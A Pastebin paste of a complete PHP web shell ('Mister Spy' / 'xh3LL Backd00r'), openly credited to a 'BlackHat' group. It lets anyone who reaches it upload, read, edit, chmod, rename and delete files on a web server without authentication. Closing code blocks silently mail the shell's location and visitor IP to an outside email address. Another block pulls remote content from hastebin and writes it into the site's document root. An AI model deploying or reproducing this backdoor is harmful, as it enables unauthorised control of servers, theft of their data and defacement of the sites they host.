ToKeiChun

Mister Spy Mini Shell

Jun 1st, 2018
380
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.42 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Mister Spy</title>
  4. <style type="text/css">
  5. </style>
  6. </head>
  7. <header>
  8. <pre>
  9. <center>
  10.  
  11. Mister Spy Say ="Hello Kids ... :D"
  12.  
  13.  
  14. ___ ____ _ _____
  15. | \/ (_) | | / ___|
  16. | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
  17. | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
  18. | | | | \__ \ || __/ | /\__/ / |_) | |_| |
  19. \_| |_/_|___/\__\___|_| \____/| .__/ \__, |
  20. | | __/ |
  21. |_| |___/
  22. Bot Mister Spy V3</center>
  23.  
  24. </pre>
  25. </header>
  26. </form>
  27.  
  28. <?php
  29. set_time_limit(0);
  30. error_reporting(0);
  31.  
  32. if(get_magic_quotes_gpc()){
  33. foreach($_POST as $key=>$value){
  34. $_POST[$key] = stripslashes($value);
  35. }
  36. }
  37. echo '<!DOCTYPE HTML>
  38. <HTML>
  39. <HEAD>
  40. <link href="" rel="stylesheet" type="text/css">
  41. <title>Mister Spy</title>
  42. <style>
  43. body{
  44. font-family: "Racing Sans One", cursive;
  45. background-color: #e6e6e6;
  46. text-shadow:0px 0px 1px #757575;
  47. }
  48. #content tr:hover{
  49. background-color: #636263;
  50. text-shadow:0px 0px 10px #fff;
  51. }
  52. #content .first{
  53. background-color: silver;
  54. }
  55. #content .first:hover{
  56. background-color: silver;
  57. text-shadow:0px 0px 1px #757575;
  58. }
  59. table{
  60. border: 1px #000000 dotted;
  61. }
  62. H1{
  63. font-family: "Rye", cursive;
  64. }
  65. a{
  66. color: #000;
  67. text-decoration: none;
  68. }
  69. a:hover{
  70. color: #fff;
  71. text-shadow:0px 0px 10px #ffffff;
  72. }
  73. input,select,textarea{
  74. border: 1px #000000 solid;
  75. -moz-border-radius: 5px;
  76. -webkit-border-radius:5px;
  77. border-radius:5px;
  78. }
  79. </style>
  80. </HEAD>
  81. <BODY>
  82. <H1><center>Mister Spy</center></H1>
  83. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  84. <tr><td>Current Path : ';
  85. if(isset($_GET['path'])){
  86. $path = $_GET['path'];
  87. }else{
  88. $path = getcwd();
  89. }
  90. $path = str_replace('\\','/',$path);
  91. $paths = explode('/',$path);
  92.  
  93. foreach($paths as $id=>$pat){
  94. if($pat == '' && $id == 0){
  95. $a = true;
  96. echo '<a href="?path=/">/</a>';
  97. continue;
  98. }
  99. if($pat == '') continue;
  100. echo '<a href="?path=';
  101. for($i=0;$i<=$id;$i++){
  102. echo "$paths[$i]";
  103. if($i != $id) echo "/";
  104. }
  105. echo '">'.$pat.'</a>/';
  106. }
  107. echo '</td></tr><tr><td>';
  108. if(isset($_FILES['file'])){
  109. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  110. echo '<font color="green">File Upload Done Kakak ~_^ .</font><br />';
  111. }else{
  112. echo '<font color="red">File Upload Error ~_~.</font><br />';
  113. }
  114. }
  115. echo '<form enctype="multipart/form-data" method="POST">
  116. Upload File : <input type="file" name="file" />
  117. <input type="submit" value="upload" />
  118. </form>
  119. </td></tr>';
  120. if(isset($_GET['filesrc'])){
  121. echo "<tr><td>Current File : ";
  122. echo $_GET['filesrc'];
  123. echo '</tr></td></table><br />';
  124. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  125. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  126. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  127. if($_POST['opt'] == 'chmod'){
  128. if(isset($_POST['perm'])){
  129. if(chmod($_POST['path'],$_POST['perm'])){
  130. echo '<font color="green">Change Permission Done.</font><br />';
  131. }else{
  132. echo '<font color="red">Change Permission Error.</font><br />';
  133. }
  134. }
  135. echo '<form method="POST">
  136. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  137. <input type="hidden" name="path" value="'.$_POST['path'].'">
  138. <input type="hidden" name="opt" value="chmod">
  139. <input type="submit" value="Go" />
  140. </form>';
  141. }elseif($_POST['opt'] == 'rename'){
  142. if(isset($_POST['newname'])){
  143. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  144. echo '<font color="green">Change Name Done.</font><br />';
  145. }else{
  146. echo '<font color="red">Change Name Error.</font><br />';
  147. }
  148. $_POST['name'] = $_POST['newname'];
  149. }
  150. echo '<form method="POST">
  151. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  152. <input type="hidden" name="path" value="'.$_POST['path'].'">
  153. <input type="hidden" name="opt" value="rename">
  154. <input type="submit" value="Go" />
  155. </form>';
  156. }elseif($_POST['opt'] == 'edit'){
  157. if(isset($_POST['src'])){
  158. $fp = fopen($_POST['path'],'w');
  159. if(fwrite($fp,$_POST['src'])){
  160. echo '<font color="green">Edit File Done ~_^.</font><br />';
  161. }else{
  162. echo '<font color="red">Edit File Error ~_~.</font><br />';
  163. }
  164. fclose($fp);
  165. }
  166. echo '<form method="POST">
  167. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  168. <input type="hidden" name="path" value="'.$_POST['path'].'">
  169. <input type="hidden" name="opt" value="edit">
  170. <input type="submit" value="Go" />
  171. </form>';
  172. }
  173. echo '</center>';
  174. }else{
  175. echo '</table><br /><center>';
  176. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  177. if($_POST['type'] == 'dir'){
  178. if(rmdir($_POST['path'])){
  179. echo '<font color="green">Delete Dir Done.</font><br />';
  180. }else{
  181. echo '<font color="red">Delete Dir Error.</font><br />';
  182. }
  183. }elseif($_POST['type'] == 'file'){
  184. if(unlink($_POST['path'])){
  185. echo '<font color="green">Delete File Done.</font><br />';
  186. }else{
  187. echo '<font color="red">Delete File Error.</font><br />';
  188. }
  189. }
  190. }
  191. echo '</center>';
  192. $scandir = scandir($path);
  193. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  194. <tr class="first">
  195. <td><center>Name</center></td>
  196. <td><center>Size</center></td>
  197. <td><center>Permissions</center></td>
  198. <td><center>Options</center></td>
  199. </tr>';
  200.  
  201. foreach($scandir as $dir){
  202. if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  203. echo "<tr>
  204. <td><a href=\"?path=$path/$dir\">$dir</a></td>
  205. <td><center>--</center></td>
  206. <td><center>";
  207. if(is_writable("$path/$dir")) echo '<font color="green">';
  208. elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  209. echo perms("$path/$dir");
  210. if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  211.  
  212. echo "</center></td>
  213. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  214. <select name=\"opt\">
  215. <option value=\"\"></option>
  216. <option value=\"delete\">Delete</option>
  217. <option value=\"chmod\">Chmod</option>
  218. <option value=\"rename\">Rename</option>
  219. </select>
  220. <input type=\"hidden\" name=\"type\" value=\"dir\">
  221. <input type=\"hidden\" name=\"name\" value=\"$dir\">
  222. <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  223. <input type=\"submit\" value=\">\" />
  224. </form></center></td>
  225. </tr>";
  226. }
  227. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  228. foreach($scandir as $file){
  229. if(!is_file("$path/$file")) continue;
  230. $size = filesize("$path/$file")/1024;
  231. $size = round($size,3);
  232. if($size >= 1024){
  233. $size = round($size/1024,2).' MB';
  234. }else{
  235. $size = $size.' KB';
  236. }
  237.  
  238. echo "<tr>
  239. <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
  240. <td><center>".$size."</center></td>
  241. <td><center>";
  242. if(is_writable("$path/$file")) echo '<font color="green">';
  243. elseif(!is_readable("$path/$file")) echo '<font color="red">';
  244. echo perms("$path/$file");
  245. if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  246. echo "</center></td>
  247. <td><center><form method=\"POST\" action=\"?option&path=$path\">
  248. <select name=\"opt\">
  249. <option value=\"\"></option>
  250. <option value=\"delete\">Delete</option>
  251. <option value=\"chmod\">Chmod</option>
  252. <option value=\"rename\">Rename</option>
  253. <option value=\"edit\">Edit</option>
  254. </select>
  255. <input type=\"hidden\" name=\"type\" value=\"file\">
  256. <input type=\"hidden\" name=\"name\" value=\"$file\">
  257. <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  258. <input type=\"submit\" value=\">\" />
  259. </form></center></td>
  260. </tr>";
  261. }
  262. echo '</table>
  263. </div>';
  264. }
  265. echo '<br />Mr. DellatioNx196 GaLers xh3LL Backd00r <font color="red">1.0</font>, Coded By <font color="red">Mr. DellatioNx196 - Bogor BlackHat</font>
  266. </BODY>
  267. </HTML>';
  268. function perms($file){
  269. $perms = fileperms($file);
  270.  
  271. if (($perms & 0xC000) == 0xC000) {
  272. // Socket
  273. $info = 's';
  274. } elseif (($perms & 0xA000) == 0xA000) {
  275. // Symbolic Link
  276. $info = 'l';
  277. } elseif (($perms & 0x8000) == 0x8000) {
  278. // Regular
  279. $info = '-';
  280. } elseif (($perms & 0x6000) == 0x6000) {
  281. // Block special
  282. $info = 'b';
  283. } elseif (($perms & 0x4000) == 0x4000) {
  284. // Directory
  285. $info = 'd';
  286. } elseif (($perms & 0x2000) == 0x2000) {
  287. // Character special
  288. $info = 'c';
  289. } elseif (($perms & 0x1000) == 0x1000) {
  290. // FIFO pipe
  291. $info = 'p';
  292. } else {
  293. // Unknown
  294. $info = 'u';
  295. }
  296.  
  297. // Owner
  298. $info .= (($perms & 0x0100) ? 'r' : '-');
  299. $info .= (($perms & 0x0080) ? 'w' : '-');
  300. $info .= (($perms & 0x0040) ?
  301. (($perms & 0x0800) ? 's' : 'x' ) :
  302. (($perms & 0x0800) ? 'S' : '-'));
  303.  
  304. // Group
  305. $info .= (($perms & 0x0020) ? 'r' : '-');
  306. $info .= (($perms & 0x0010) ? 'w' : '-');
  307. $info .= (($perms & 0x0008) ?
  308. (($perms & 0x0400) ? 's' : 'x' ) :
  309. (($perms & 0x0400) ? 'S' : '-'));
  310.  
  311. // World
  312. $info .= (($perms & 0x0004) ? 'r' : '-');
  313. $info .= (($perms & 0x0002) ? 'w' : '-');
  314. $info .= (($perms & 0x0001) ?
  315. (($perms & 0x0200) ? 't' : 'x' ) :
  316. (($perms & 0x0200) ? 'T' : '-'));
  317.  
  318. return $info;
  319. }
  320. ?>
  321. <?php
  322. $ip = getenv("REMOTE_ADDR");
  323. $ra44 = rand(1, 99999);
  324. $subj98 = " Bot V3 Rzlt Mr Spy |$ra44";
  325. $email = "aqilnaila23@gmail.com";
  326. $from = "From: Result<aqilnaila23@gmail.com";
  327. $a45 = $_SERVER['REQUEST_URI'];
  328. $b75 = $_SERVER['HTTP_HOST'];
  329. $m22 = $ip . "";
  330. $msg8873 = "$a45 $b75 $m22";
  331. mail($email, $subj98, $msg8873, $from);
  332. ?>
  333. <?php
  334. $check3=$_SERVER['DOCUMENT_ROOT'] . "/tkc.html" ;
  335. $text3 = http_get('https://hastebin.com/raw/jitosuruve');
  336. $op3=fopen($check3, 'w');
  337. fwrite($op3,$text3);
  338. fclose($op3);
  339. ?>
Add Comment
Please, Sign In to add comment